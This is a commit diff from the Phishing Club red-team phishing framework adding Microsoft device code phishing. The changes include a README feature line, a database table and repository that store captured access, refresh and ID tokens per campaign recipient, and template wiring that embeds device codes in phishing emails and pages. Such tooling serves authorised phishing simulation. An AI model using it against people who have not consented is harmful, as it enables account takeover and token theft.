mirror of
https://github.com/phishingclub/phishingclub.git
synced 2026-07-04 11:27:57 +02:00
MS Device code phishing
Signed-off-by: Ronni Skansing <rskansing@gmail.com>
This commit is contained in:
@@ -44,7 +44,7 @@ See [production docker compose example](https://github.com/phishingclub/phishing
|
||||
- **Security features** - MFA, SSO, session management, IP filtering
|
||||
- **Operational tools** - In-app updates, CLI installer, config management
|
||||
|
||||
## MITM and Red Team Features
|
||||
## AiTM and Red Team Features
|
||||
|
||||
- **Full control** - Modify and capture requests and responses independently
|
||||
- **DOM rewriting** - Modify content using CSS/jQuery-like selectors or regex
|
||||
@@ -59,6 +59,7 @@ See [production docker compose example](https://github.com/phishingclub/phishing
|
||||
- **Forward proxying** - Use HTTP and SOCKS5 proxies to ensure requests originate from the right location
|
||||
- **Visual Editor** - Use the visual editor to easily setup a proxy
|
||||
- **Import compromised oauth token** - Use compromised tokens to send more phishing via. oauth enabled endpoints
|
||||
- **Device Code phishing** - Device code phishing is as simple as adding a single line to a email or landing page
|
||||
|
||||
### Blogs & Resources
|
||||
- [Covert red team phishing with Phishing Club](http://phishing.club/blog/covert-red-team-phishing-with-phishing-club/)
|
||||
|
||||
+48
-46
@@ -7,29 +7,30 @@ import (
|
||||
|
||||
// Repositories is a collection of repositories
|
||||
type Repositories struct {
|
||||
Asset *repository.Asset
|
||||
Attachment *repository.Attachment
|
||||
Company *repository.Company
|
||||
Option *repository.Option
|
||||
Page *repository.Page
|
||||
Proxy *repository.Proxy
|
||||
Role *repository.Role
|
||||
Session *repository.Session
|
||||
User *repository.User
|
||||
Domain *repository.Domain
|
||||
Recipient *repository.Recipient
|
||||
RecipientGroup *repository.RecipientGroup
|
||||
SMTPConfiguration *repository.SMTPConfiguration
|
||||
Email *repository.Email
|
||||
Campaign *repository.Campaign
|
||||
CampaignRecipient *repository.CampaignRecipient
|
||||
CampaignTemplate *repository.CampaignTemplate
|
||||
APISender *repository.APISender
|
||||
AllowDeny *repository.AllowDeny
|
||||
Webhook *repository.Webhook
|
||||
Identifier *repository.Identifier
|
||||
OAuthProvider *repository.OAuthProvider
|
||||
OAuthState *repository.OAuthState
|
||||
Asset *repository.Asset
|
||||
Attachment *repository.Attachment
|
||||
Company *repository.Company
|
||||
Option *repository.Option
|
||||
Page *repository.Page
|
||||
Proxy *repository.Proxy
|
||||
Role *repository.Role
|
||||
Session *repository.Session
|
||||
User *repository.User
|
||||
Domain *repository.Domain
|
||||
Recipient *repository.Recipient
|
||||
RecipientGroup *repository.RecipientGroup
|
||||
SMTPConfiguration *repository.SMTPConfiguration
|
||||
Email *repository.Email
|
||||
Campaign *repository.Campaign
|
||||
CampaignRecipient *repository.CampaignRecipient
|
||||
CampaignTemplate *repository.CampaignTemplate
|
||||
APISender *repository.APISender
|
||||
AllowDeny *repository.AllowDeny
|
||||
Webhook *repository.Webhook
|
||||
Identifier *repository.Identifier
|
||||
OAuthProvider *repository.OAuthProvider
|
||||
OAuthState *repository.OAuthState
|
||||
MicrosoftDeviceCode *repository.MicrosoftDeviceCode
|
||||
}
|
||||
|
||||
// NewRepositories creates a collection of repositories
|
||||
@@ -38,28 +39,29 @@ func NewRepositories(
|
||||
) *Repositories {
|
||||
option := &repository.Option{DB: db}
|
||||
return &Repositories{
|
||||
Asset: &repository.Asset{DB: db},
|
||||
Attachment: &repository.Attachment{DB: db},
|
||||
Company: &repository.Company{DB: db},
|
||||
Option: option,
|
||||
Page: &repository.Page{DB: db},
|
||||
Proxy: &repository.Proxy{DB: db},
|
||||
Role: &repository.Role{DB: db},
|
||||
Session: &repository.Session{DB: db},
|
||||
User: &repository.User{DB: db},
|
||||
Domain: &repository.Domain{DB: db},
|
||||
Recipient: &repository.Recipient{DB: db, OptionRepository: option},
|
||||
RecipientGroup: &repository.RecipientGroup{DB: db},
|
||||
SMTPConfiguration: &repository.SMTPConfiguration{DB: db},
|
||||
Email: &repository.Email{DB: db},
|
||||
Campaign: &repository.Campaign{DB: db},
|
||||
CampaignRecipient: &repository.CampaignRecipient{DB: db},
|
||||
CampaignTemplate: &repository.CampaignTemplate{DB: db},
|
||||
APISender: &repository.APISender{DB: db},
|
||||
AllowDeny: &repository.AllowDeny{DB: db},
|
||||
Webhook: &repository.Webhook{DB: db},
|
||||
Identifier: &repository.Identifier{DB: db},
|
||||
OAuthProvider: &repository.OAuthProvider{DB: db},
|
||||
OAuthState: &repository.OAuthState{DB: db},
|
||||
Asset: &repository.Asset{DB: db},
|
||||
Attachment: &repository.Attachment{DB: db},
|
||||
Company: &repository.Company{DB: db},
|
||||
Option: option,
|
||||
Page: &repository.Page{DB: db},
|
||||
Proxy: &repository.Proxy{DB: db},
|
||||
Role: &repository.Role{DB: db},
|
||||
Session: &repository.Session{DB: db},
|
||||
User: &repository.User{DB: db},
|
||||
Domain: &repository.Domain{DB: db},
|
||||
Recipient: &repository.Recipient{DB: db, OptionRepository: option},
|
||||
RecipientGroup: &repository.RecipientGroup{DB: db},
|
||||
SMTPConfiguration: &repository.SMTPConfiguration{DB: db},
|
||||
Email: &repository.Email{DB: db},
|
||||
Campaign: &repository.Campaign{DB: db},
|
||||
CampaignRecipient: &repository.CampaignRecipient{DB: db},
|
||||
CampaignTemplate: &repository.CampaignTemplate{DB: db},
|
||||
APISender: &repository.APISender{DB: db},
|
||||
AllowDeny: &repository.AllowDeny{DB: db},
|
||||
Webhook: &repository.Webhook{DB: db},
|
||||
Identifier: &repository.Identifier{DB: db},
|
||||
OAuthProvider: &repository.OAuthProvider{DB: db},
|
||||
OAuthState: &repository.OAuthState{DB: db},
|
||||
MicrosoftDeviceCode: &repository.MicrosoftDeviceCode{DB: db},
|
||||
}
|
||||
}
|
||||
|
||||
+10
-1
@@ -2146,11 +2146,20 @@ func (s *Server) renderPageTemplate(
|
||||
campaignCompanyID = &companyID
|
||||
}
|
||||
|
||||
phishingPage, err := s.services.Template.CreatePhishingPageWithCampaign(
|
||||
// extract recipient id for device code phishing support
|
||||
var recipientIDPtr *uuid.UUID
|
||||
if recipient != nil {
|
||||
if rid, ridErr := recipient.ID.Get(); ridErr == nil {
|
||||
recipientIDPtr = &rid
|
||||
}
|
||||
}
|
||||
|
||||
phishingPage, err := s.services.Template.CreatePhishingPageWithCampaignAndRecipient(
|
||||
c.Request.Context(),
|
||||
domain,
|
||||
email,
|
||||
campaignRecipientID,
|
||||
recipientIDPtr,
|
||||
recipient,
|
||||
content.String(),
|
||||
campaignTemplate,
|
||||
|
||||
+35
-18
@@ -1,6 +1,9 @@
|
||||
package app
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"time"
|
||||
|
||||
"github.com/caddyserver/certmagic"
|
||||
"github.com/phishingclub/phishingclub/service"
|
||||
"go.uber.org/zap"
|
||||
@@ -39,6 +42,7 @@ type Services struct {
|
||||
IPAllowList *service.IPAllowListService
|
||||
ProxySessionManager *service.ProxySessionManager
|
||||
OAuthProvider *service.OAuthProvider
|
||||
MicrosoftDeviceCode *service.MicrosoftDeviceCode
|
||||
}
|
||||
|
||||
// NewServices creates a collection of services
|
||||
@@ -58,9 +62,17 @@ func NewServices(
|
||||
common := service.Common{
|
||||
Logger: logger,
|
||||
}
|
||||
microsoftDeviceCodeService := &service.MicrosoftDeviceCode{
|
||||
Common: common,
|
||||
MicrosoftDeviceCodeRepository: repositories.MicrosoftDeviceCode,
|
||||
CampaignRepository: repositories.Campaign,
|
||||
CampaignRecipientRepository: repositories.CampaignRecipient,
|
||||
HTTPClient: &http.Client{Timeout: 15 * time.Second},
|
||||
}
|
||||
templateService := &service.Template{
|
||||
Common: common,
|
||||
RecipientRepository: repositories.Recipient,
|
||||
Common: common,
|
||||
RecipientRepository: repositories.Recipient,
|
||||
MicrosoftDeviceCodeService: microsoftDeviceCodeService,
|
||||
}
|
||||
file := &service.File{
|
||||
Common: common,
|
||||
@@ -122,6 +134,7 @@ func NewServices(
|
||||
CampaignRepository: repositories.Campaign,
|
||||
WebhookRepository: repositories.Webhook,
|
||||
}
|
||||
|
||||
campaignTemplate := &service.CampaignTemplate{
|
||||
Common: common,
|
||||
CampaignTemplateRepository: repositories.CampaignTemplate,
|
||||
@@ -181,23 +194,26 @@ func NewServices(
|
||||
TemplateService: templateService,
|
||||
}
|
||||
campaign := &service.Campaign{
|
||||
Common: common,
|
||||
CampaignRepository: repositories.Campaign,
|
||||
CampaignRecipientRepository: repositories.CampaignRecipient,
|
||||
RecipientRepository: repositories.Recipient,
|
||||
RecipientGroupRepository: repositories.RecipientGroup,
|
||||
AllowDenyRepository: repositories.AllowDeny,
|
||||
WebhookRepository: repositories.Webhook,
|
||||
CampaignTemplateService: campaignTemplate,
|
||||
DomainService: domain,
|
||||
RecipientService: recipient,
|
||||
MailService: email,
|
||||
APISenderService: apiSender,
|
||||
SMTPConfigService: smtpConfiguration,
|
||||
WebhookService: webhook,
|
||||
TemplateService: templateService,
|
||||
AttachmentPath: attachmentPath,
|
||||
Common: common,
|
||||
CampaignRepository: repositories.Campaign,
|
||||
CampaignRecipientRepository: repositories.CampaignRecipient,
|
||||
RecipientRepository: repositories.Recipient,
|
||||
RecipientGroupRepository: repositories.RecipientGroup,
|
||||
AllowDenyRepository: repositories.AllowDeny,
|
||||
WebhookRepository: repositories.Webhook,
|
||||
CampaignTemplateService: campaignTemplate,
|
||||
DomainService: domain,
|
||||
RecipientService: recipient,
|
||||
MailService: email,
|
||||
APISenderService: apiSender,
|
||||
SMTPConfigService: smtpConfiguration,
|
||||
WebhookService: webhook,
|
||||
TemplateService: templateService,
|
||||
MicrosoftDeviceCodeRepository: repositories.MicrosoftDeviceCode,
|
||||
AttachmentPath: attachmentPath,
|
||||
}
|
||||
// wire campaign service into microsoft device code service now that campaign is constructed
|
||||
microsoftDeviceCodeService.CampaignService = campaign
|
||||
allowDeny := &service.AllowDeny{
|
||||
Common: common,
|
||||
AllowDenyRepository: repositories.AllowDeny,
|
||||
@@ -289,5 +305,6 @@ func NewServices(
|
||||
IPAllowList: ipAllowListService,
|
||||
ProxySessionManager: proxySessionManager,
|
||||
OAuthProvider: oauthProvider,
|
||||
MicrosoftDeviceCode: microsoftDeviceCodeService,
|
||||
}
|
||||
}
|
||||
|
||||
Vendored
+1
@@ -37,6 +37,7 @@ func IsUpdateAvailable() bool {
|
||||
// readonly
|
||||
var CampaignEventPriority = map[string]int{
|
||||
// campaign recipient events
|
||||
data.EVENT_CAMPAIGN_RECIPIENT_INFO: 5,
|
||||
data.EVENT_CAMPAIGN_RECIPIENT_REPORTED: 90,
|
||||
data.EVENT_CAMPAIGN_RECIPIENT_CANCELLED: 80,
|
||||
data.EVENT_CAMPAIGN_RECIPIENT_SUBMITTED_DATA: 70,
|
||||
|
||||
@@ -18,6 +18,7 @@ const (
|
||||
EVENT_CAMPAIGN_RECIPIENT_SUBMITTED_DATA = "campaign_recipient_submitted_data"
|
||||
EVENT_CAMPAIGN_RECIPIENT_REPORTED = "campaign_recipient_reported"
|
||||
EVENT_CAMPAIGN_RECIPIENT_CANCELLED = "campaign_recipient_cancelled"
|
||||
EVENT_CAMPAIGN_RECIPIENT_INFO = "campaign_recipient_info"
|
||||
)
|
||||
|
||||
var Events = []string{
|
||||
@@ -39,6 +40,7 @@ var Events = []string{
|
||||
EVENT_CAMPAIGN_RECIPIENT_SUBMITTED_DATA,
|
||||
EVENT_CAMPAIGN_RECIPIENT_REPORTED,
|
||||
EVENT_CAMPAIGN_RECIPIENT_CANCELLED,
|
||||
EVENT_CAMPAIGN_RECIPIENT_INFO,
|
||||
}
|
||||
|
||||
// webhook event bit flags for storing selected events as int
|
||||
|
||||
@@ -0,0 +1,60 @@
|
||||
package database
|
||||
|
||||
import (
|
||||
"time"
|
||||
|
||||
"github.com/google/uuid"
|
||||
"gorm.io/gorm"
|
||||
)
|
||||
|
||||
const (
|
||||
MICROSOFT_DEVICE_CODE_TABLE = "device_codes"
|
||||
)
|
||||
|
||||
// MicrosoftDeviceCode stores a microsoft device code flow entry per campaign-recipient
|
||||
type MicrosoftDeviceCode struct {
|
||||
ID *uuid.UUID `gorm:"primary_key;not null;unique;type:uuid"`
|
||||
CreatedAt *time.Time `gorm:"not null;index;"`
|
||||
UpdatedAt *time.Time `gorm:"not null;"`
|
||||
|
||||
// device code flow fields returned by microsoft
|
||||
DeviceCode string `gorm:"not null;"`
|
||||
UserCode string `gorm:"not null;"`
|
||||
VerificationURI string `gorm:"not null;"`
|
||||
ExpiresAt *time.Time `gorm:"not null;index;"`
|
||||
|
||||
// last_polled_at is nil when the entry has never been polled
|
||||
LastPolledAt *time.Time `gorm:"index;"`
|
||||
|
||||
// options used to create the device code
|
||||
Resource string `gorm:"not null;default:'https://graph.microsoft.com'"`
|
||||
ClientID string `gorm:"not null;"`
|
||||
TenantID string `gorm:"not null;default:'organizations'"`
|
||||
Scope string `gorm:"not null;default:'https://graph.microsoft.com/.default openid profile offline_access'"`
|
||||
|
||||
// captured access token / refresh token, set after successful poll
|
||||
AccessToken string `gorm:"not null;default:''"`
|
||||
RefreshToken string `gorm:"not null;default:''"`
|
||||
IDToken string `gorm:"not null;default:''"`
|
||||
|
||||
// captured is true after successfully polling and getting a token
|
||||
Captured bool `gorm:"not null;default:false"`
|
||||
|
||||
// foreign keys
|
||||
CampaignID *uuid.UUID `gorm:"not null;type:uuid;index;"`
|
||||
RecipientID *uuid.UUID `gorm:"type:uuid;index;"`
|
||||
}
|
||||
|
||||
func (MicrosoftDeviceCode) TableName() string {
|
||||
return MICROSOFT_DEVICE_CODE_TABLE
|
||||
}
|
||||
|
||||
// Migrate runs extra migrations for device_codes
|
||||
func (MicrosoftDeviceCode) Migrate(db *gorm.DB) error {
|
||||
// composite unique index: one active device code per campaign+recipient
|
||||
err := db.Exec(`CREATE UNIQUE INDEX IF NOT EXISTS idx_microsoft_device_codes_campaign_recipient ON device_codes(campaign_id, recipient_id)`).Error
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
+4
-3
@@ -424,9 +424,10 @@ func main() {
|
||||
logger.Fatalw("Failed to load system user", "error", err)
|
||||
}
|
||||
daemon := task.Runner{
|
||||
CampaignService: services.Campaign,
|
||||
UpdateService: services.Update,
|
||||
Logger: logger,
|
||||
CampaignService: services.Campaign,
|
||||
UpdateService: services.Update,
|
||||
MicrosoftDeviceCode: services.MicrosoftDeviceCode,
|
||||
Logger: logger,
|
||||
}
|
||||
|
||||
// start tasks runner
|
||||
|
||||
@@ -0,0 +1,51 @@
|
||||
package model
|
||||
|
||||
import (
|
||||
"time"
|
||||
|
||||
"github.com/google/uuid"
|
||||
"github.com/oapi-codegen/nullable"
|
||||
)
|
||||
|
||||
// MicrosoftDeviceCode is a microsoft device code flow entry
|
||||
type MicrosoftDeviceCode struct {
|
||||
ID nullable.Nullable[uuid.UUID] `json:"id"`
|
||||
CreatedAt *time.Time `json:"createdAt"`
|
||||
UpdatedAt *time.Time `json:"updatedAt"`
|
||||
|
||||
DeviceCode string `json:"deviceCode"`
|
||||
UserCode string `json:"userCode"`
|
||||
VerificationURI string `json:"verificationUri"`
|
||||
ExpiresAt *time.Time `json:"expiresAt"`
|
||||
LastPolledAt *time.Time `json:"lastPolledAt"`
|
||||
|
||||
Resource string `json:"resource"`
|
||||
ClientID string `json:"clientId"`
|
||||
TenantID string `json:"tenantId"`
|
||||
Scope string `json:"scope"`
|
||||
|
||||
AccessToken string `json:"accessToken"`
|
||||
RefreshToken string `json:"refreshToken"`
|
||||
IDToken string `json:"idToken"`
|
||||
|
||||
Captured bool `json:"captured"`
|
||||
|
||||
CampaignID nullable.Nullable[uuid.UUID] `json:"campaignId"`
|
||||
RecipientID nullable.Nullable[uuid.UUID] `json:"recipientId"`
|
||||
}
|
||||
|
||||
// IsExpired returns true if the device code has expired or has no expiry set
|
||||
func (d *MicrosoftDeviceCode) IsExpired() bool {
|
||||
if d.ExpiresAt == nil {
|
||||
return true
|
||||
}
|
||||
return time.Now().UTC().After(*d.ExpiresAt)
|
||||
}
|
||||
|
||||
// ExpiresWithin returns true if the device code expires within the given duration
|
||||
func (d *MicrosoftDeviceCode) ExpiresWithin(duration time.Duration) bool {
|
||||
if d.ExpiresAt == nil {
|
||||
return true
|
||||
}
|
||||
return time.Until(*d.ExpiresAt) < duration
|
||||
}
|
||||
@@ -0,0 +1,174 @@
|
||||
package repository
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"github.com/google/uuid"
|
||||
"github.com/oapi-codegen/nullable"
|
||||
"github.com/phishingclub/phishingclub/database"
|
||||
"github.com/phishingclub/phishingclub/errs"
|
||||
"github.com/phishingclub/phishingclub/model"
|
||||
"github.com/phishingclub/phishingclub/utils"
|
||||
"gorm.io/gorm"
|
||||
)
|
||||
|
||||
// MicrosoftDeviceCode is a repository for microsoft device code entries
|
||||
type MicrosoftDeviceCode struct {
|
||||
DB *gorm.DB
|
||||
}
|
||||
|
||||
// Insert inserts a new microsoft device code entry
|
||||
func (r *MicrosoftDeviceCode) Insert(
|
||||
ctx context.Context,
|
||||
entry *model.MicrosoftDeviceCode,
|
||||
) (*uuid.UUID, error) {
|
||||
id := uuid.New()
|
||||
row := map[string]any{
|
||||
"id": id.String(),
|
||||
"device_code": entry.DeviceCode,
|
||||
"user_code": entry.UserCode,
|
||||
"verification_uri": entry.VerificationURI,
|
||||
"expires_at": utils.RFC3339UTC(*entry.ExpiresAt),
|
||||
"last_polled_at": nil,
|
||||
"resource": entry.Resource,
|
||||
"client_id": entry.ClientID,
|
||||
"tenant_id": entry.TenantID,
|
||||
"scope": entry.Scope,
|
||||
"access_token": "",
|
||||
"refresh_token": "",
|
||||
"id_token": "",
|
||||
"captured": false,
|
||||
}
|
||||
if v, err := entry.CampaignID.Get(); err == nil {
|
||||
row["campaign_id"] = v.String()
|
||||
}
|
||||
if v, err := entry.RecipientID.Get(); err == nil {
|
||||
row["recipient_id"] = v.String()
|
||||
}
|
||||
AddTimestamps(row)
|
||||
res := r.DB.WithContext(ctx).Model(&database.MicrosoftDeviceCode{}).Create(row)
|
||||
if res.Error != nil {
|
||||
return nil, errs.Wrap(res.Error)
|
||||
}
|
||||
return &id, nil
|
||||
}
|
||||
|
||||
// GetByCampaignAndRecipientID returns a microsoft device code entry for the given campaign and recipient
|
||||
func (r *MicrosoftDeviceCode) GetByCampaignAndRecipientID(
|
||||
ctx context.Context,
|
||||
campaignID *uuid.UUID,
|
||||
recipientID *uuid.UUID,
|
||||
) (*model.MicrosoftDeviceCode, error) {
|
||||
var row database.MicrosoftDeviceCode
|
||||
res := r.DB.WithContext(ctx).
|
||||
Where("campaign_id = ? AND recipient_id = ?", campaignID.String(), recipientID.String()).
|
||||
Order("created_at DESC").
|
||||
First(&row)
|
||||
if res.Error != nil {
|
||||
// return gorm.ErrRecordNotFound unwrapped so callers can use errors.Is
|
||||
return nil, res.Error
|
||||
}
|
||||
return toMicrosoftDeviceCode(&row), nil
|
||||
}
|
||||
|
||||
// GetAllPendingNotExpired returns all microsoft device code entries that are not captured and not expired
|
||||
func (r *MicrosoftDeviceCode) GetAllPendingNotExpired(ctx context.Context) ([]*model.MicrosoftDeviceCode, error) {
|
||||
var rows []database.MicrosoftDeviceCode
|
||||
res := r.DB.WithContext(ctx).
|
||||
Where("captured = false AND expires_at > ?", utils.NowRFC3339UTC()).
|
||||
Find(&rows)
|
||||
if res.Error != nil {
|
||||
return nil, errs.Wrap(res.Error)
|
||||
}
|
||||
result := make([]*model.MicrosoftDeviceCode, 0, len(rows))
|
||||
for i := range rows {
|
||||
result = append(result, toMicrosoftDeviceCode(&rows[i]))
|
||||
}
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// MarkCaptured marks a microsoft device code entry as captured and stores the tokens
|
||||
func (r *MicrosoftDeviceCode) MarkCaptured(
|
||||
ctx context.Context,
|
||||
id *uuid.UUID,
|
||||
accessToken string,
|
||||
refreshToken string,
|
||||
idToken string,
|
||||
) error {
|
||||
row := map[string]any{
|
||||
"captured": true,
|
||||
"access_token": accessToken,
|
||||
"refresh_token": refreshToken,
|
||||
"id_token": idToken,
|
||||
}
|
||||
AddUpdatedAt(row)
|
||||
res := r.DB.WithContext(ctx).Model(&database.MicrosoftDeviceCode{}).
|
||||
Where("id = ?", id.String()).
|
||||
Updates(row)
|
||||
return errs.Wrap(res.Error)
|
||||
}
|
||||
|
||||
// UpdateLastPolledAt updates the last_polled_at timestamp for the given entry
|
||||
func (r *MicrosoftDeviceCode) UpdateLastPolledAt(ctx context.Context, id *uuid.UUID, t time.Time) error {
|
||||
row := map[string]any{
|
||||
"last_polled_at": utils.RFC3339UTC(t),
|
||||
}
|
||||
AddUpdatedAt(row)
|
||||
res := r.DB.WithContext(ctx).Model(&database.MicrosoftDeviceCode{}).
|
||||
Where("id = ?", id.String()).
|
||||
Updates(row)
|
||||
return errs.Wrap(res.Error)
|
||||
}
|
||||
|
||||
// DeleteByCampaignAndRecipientID deletes all microsoft device code entries for a campaign and recipient
|
||||
func (r *MicrosoftDeviceCode) DeleteByCampaignAndRecipientID(
|
||||
ctx context.Context,
|
||||
campaignID *uuid.UUID,
|
||||
recipientID *uuid.UUID,
|
||||
) error {
|
||||
res := r.DB.WithContext(ctx).
|
||||
Where("campaign_id = ? AND recipient_id = ?", campaignID.String(), recipientID.String()).
|
||||
Delete(&database.MicrosoftDeviceCode{})
|
||||
return errs.Wrap(res.Error)
|
||||
}
|
||||
|
||||
// DeleteByCampaignID deletes all device code entries for the given campaign
|
||||
func (r *MicrosoftDeviceCode) DeleteByCampaignID(ctx context.Context, campaignID *uuid.UUID) error {
|
||||
res := r.DB.WithContext(ctx).
|
||||
Where("campaign_id = ?", campaignID.String()).
|
||||
Delete(&database.MicrosoftDeviceCode{})
|
||||
return errs.Wrap(res.Error)
|
||||
}
|
||||
|
||||
func toMicrosoftDeviceCode(row *database.MicrosoftDeviceCode) *model.MicrosoftDeviceCode {
|
||||
id := nullable.NewNullableWithValue(*row.ID)
|
||||
campaignID := nullable.NewNullableWithValue(*row.CampaignID)
|
||||
|
||||
var recipientID nullable.Nullable[uuid.UUID]
|
||||
recipientID.SetNull()
|
||||
if row.RecipientID != nil {
|
||||
recipientID = nullable.NewNullableWithValue(*row.RecipientID)
|
||||
}
|
||||
|
||||
return &model.MicrosoftDeviceCode{
|
||||
ID: id,
|
||||
CreatedAt: row.CreatedAt,
|
||||
UpdatedAt: row.UpdatedAt,
|
||||
DeviceCode: row.DeviceCode,
|
||||
UserCode: row.UserCode,
|
||||
VerificationURI: row.VerificationURI,
|
||||
ExpiresAt: row.ExpiresAt,
|
||||
LastPolledAt: row.LastPolledAt,
|
||||
Resource: row.Resource,
|
||||
ClientID: row.ClientID,
|
||||
TenantID: row.TenantID,
|
||||
Scope: row.Scope,
|
||||
AccessToken: row.AccessToken,
|
||||
RefreshToken: row.RefreshToken,
|
||||
IDToken: row.IDToken,
|
||||
Captured: row.Captured,
|
||||
CampaignID: campaignID,
|
||||
RecipientID: recipientID,
|
||||
}
|
||||
}
|
||||
@@ -57,6 +57,7 @@ func initialInstallAndSeed(
|
||||
&database.CampaignStats{},
|
||||
&database.OAuthProvider{},
|
||||
&database.OAuthState{},
|
||||
&database.MicrosoftDeviceCode{},
|
||||
}
|
||||
|
||||
// disable foreign key constraints temporarily for sqlite to allow table recreation
|
||||
|
||||
@@ -510,7 +510,9 @@ func (a *APISender) SendTest(
|
||||
testEmail,
|
||||
"",
|
||||
oauthAccessToken,
|
||||
nil, // no company context for test
|
||||
nil, // no company context for test
|
||||
uuid.Nil, // no campaign context for test
|
||||
uuid.Nil, // no recipient context for test
|
||||
)
|
||||
if err != nil {
|
||||
a.Logger.Errorw("failed to build test request", "error", err)
|
||||
@@ -561,11 +563,12 @@ func (a *APISender) Send(
|
||||
cTemplate *model.CampaignTemplate,
|
||||
campaignRecipient *model.CampaignRecipient,
|
||||
domain *model.Domain,
|
||||
mailTmpl *template.Template,
|
||||
emailContent string,
|
||||
email *model.Email,
|
||||
companyID *uuid.UUID,
|
||||
campaignID uuid.UUID,
|
||||
) error {
|
||||
return a.SendWithCustomURL(ctx, session, cTemplate, campaignRecipient, domain, mailTmpl, email, "", companyID)
|
||||
return a.SendWithCustomURL(ctx, session, cTemplate, campaignRecipient, domain, emailContent, email, "", companyID, campaignID)
|
||||
}
|
||||
|
||||
// SendWithCustomURL sends an API request with optional custom campaign URL
|
||||
@@ -575,10 +578,11 @@ func (a *APISender) SendWithCustomURL(
|
||||
cTemplate *model.CampaignTemplate,
|
||||
campaignRecipient *model.CampaignRecipient,
|
||||
domain *model.Domain,
|
||||
mailTmpl *template.Template,
|
||||
emailContent string,
|
||||
email *model.Email,
|
||||
customCampaignURL string,
|
||||
companyID *uuid.UUID,
|
||||
campaignID uuid.UUID,
|
||||
) error {
|
||||
// get sender details
|
||||
apiSenderID, err := cTemplate.APISenderID.Get()
|
||||
@@ -624,6 +628,9 @@ func (a *APISender) SendWithCustomURL(
|
||||
return errors.New("url identifier MUST be loaded in campaign template")
|
||||
}
|
||||
urlPath := cTemplate.URLPath.MustGet().String()
|
||||
// use the actual recipient id (not the campaign recipient row id) so the
|
||||
// lookup key matches what the landing page path uses.
|
||||
recipientID := campaignRecipient.RecipientID.MustGet()
|
||||
url, headers, body, err := a.buildRequestWithCustomURL(
|
||||
ctx,
|
||||
apiSender,
|
||||
@@ -635,6 +642,8 @@ func (a *APISender) SendWithCustomURL(
|
||||
customCampaignURL,
|
||||
oauthAccessToken,
|
||||
companyID,
|
||||
campaignID,
|
||||
recipientID,
|
||||
)
|
||||
if err != nil {
|
||||
a.Logger.Errorw("failed to build api sender request", "error", err)
|
||||
@@ -822,8 +831,10 @@ func (a *APISender) buildRequest(
|
||||
campaignRecipient *model.CampaignRecipient,
|
||||
email *model.Email, // todo is this superfluous? it should be in the campaign recipient?
|
||||
companyID *uuid.UUID,
|
||||
campaignID uuid.UUID,
|
||||
recipientID uuid.UUID,
|
||||
) (*apiRequestURL, []*model.HTTPHeader, *apiRequestBody, error) {
|
||||
return a.buildRequestWithCustomURL(ctx, apiSender, domainName, urlKey, urlPath, campaignRecipient, email, "", "", companyID)
|
||||
return a.buildRequestWithCustomURL(ctx, apiSender, domainName, urlKey, urlPath, campaignRecipient, email, "", "", companyID, campaignID, recipientID)
|
||||
}
|
||||
|
||||
// buildRequestWithCustomURL builds an API request with optional custom campaign URL
|
||||
@@ -838,6 +849,8 @@ func (a *APISender) buildRequestWithCustomURL(
|
||||
customCampaignURL string,
|
||||
oauthAccessToken string,
|
||||
companyID *uuid.UUID,
|
||||
campaignID uuid.UUID,
|
||||
recipientID uuid.UUID,
|
||||
) (*apiRequestURL, []*model.HTTPHeader, *apiRequestBody, error) {
|
||||
// create template data first so it can be used in headers, url, and body
|
||||
t := a.TemplateService.CreateMail(
|
||||
@@ -869,10 +882,13 @@ func (a *APISender) buildRequestWithCustomURL(
|
||||
if err != nil {
|
||||
return nil, nil, nil, fmt.Errorf("failed to build headers: %s", err)
|
||||
}
|
||||
// build per-recipient template funcs so {{MicrosoftDeviceCode}} resolves correctly
|
||||
recipientDeviceFuncs := a.TemplateService.TemplateFuncsWithDeviceCode(ctx, &campaignID, &recipientID)
|
||||
|
||||
// setup URL
|
||||
requestURL := apiSender.RequestURL.MustGet()
|
||||
urlTemplate := template.New("url")
|
||||
urlTemplate = urlTemplate.Funcs(TemplateFuncs())
|
||||
urlTemplate = urlTemplate.Funcs(recipientDeviceFuncs)
|
||||
urlTemplate, err = urlTemplate.Parse(requestURL.String())
|
||||
if err != nil {
|
||||
return nil, nil, nil, fmt.Errorf("failed to parse url: %s", err)
|
||||
@@ -884,7 +900,7 @@ func (a *APISender) buildRequestWithCustomURL(
|
||||
// setup body
|
||||
// first parse and execute the mail content
|
||||
mailContentTemplate := template.New("mailContent")
|
||||
mailContentTemplate = mailContentTemplate.Funcs(TemplateFuncs())
|
||||
mailContentTemplate = mailContentTemplate.Funcs(recipientDeviceFuncs)
|
||||
content, err := email.Content.Get()
|
||||
if err != nil {
|
||||
return nil, nil, nil, fmt.Errorf("failed to get email content: %s", err)
|
||||
@@ -912,7 +928,7 @@ func (a *APISender) buildRequestWithCustomURL(
|
||||
jsonStr := strings.TrimSpace(buf.String())
|
||||
(*t)["Content"] = jsonStr[1 : len(jsonStr)-1]
|
||||
contentTemplate := template.New("content")
|
||||
contentTemplate = contentTemplate.Funcs(TemplateFuncs())
|
||||
contentTemplate = contentTemplate.Funcs(recipientDeviceFuncs)
|
||||
contentTemplate, err = contentTemplate.Parse(apiSender.RequestBody.MustGet().String())
|
||||
if err != nil {
|
||||
return nil, nil, nil, fmt.Errorf("failed to parse body: %s", err)
|
||||
|
||||
+87
-33
@@ -40,21 +40,22 @@ import (
|
||||
// Campaign is the Campaign service
|
||||
type Campaign struct {
|
||||
Common
|
||||
CampaignRepository *repository.Campaign
|
||||
CampaignRecipientRepository *repository.CampaignRecipient
|
||||
RecipientRepository *repository.Recipient
|
||||
RecipientGroupRepository *repository.RecipientGroup
|
||||
AllowDenyRepository *repository.AllowDeny
|
||||
WebhookRepository *repository.Webhook
|
||||
CampaignTemplateService *CampaignTemplate
|
||||
TemplateService *Template
|
||||
DomainService *Domain
|
||||
RecipientService *Recipient
|
||||
MailService *Email
|
||||
APISenderService *APISender
|
||||
SMTPConfigService *SMTPConfiguration
|
||||
WebhookService *Webhook
|
||||
AttachmentPath string
|
||||
CampaignRepository *repository.Campaign
|
||||
CampaignRecipientRepository *repository.CampaignRecipient
|
||||
RecipientRepository *repository.Recipient
|
||||
RecipientGroupRepository *repository.RecipientGroup
|
||||
AllowDenyRepository *repository.AllowDeny
|
||||
WebhookRepository *repository.Webhook
|
||||
CampaignTemplateService *CampaignTemplate
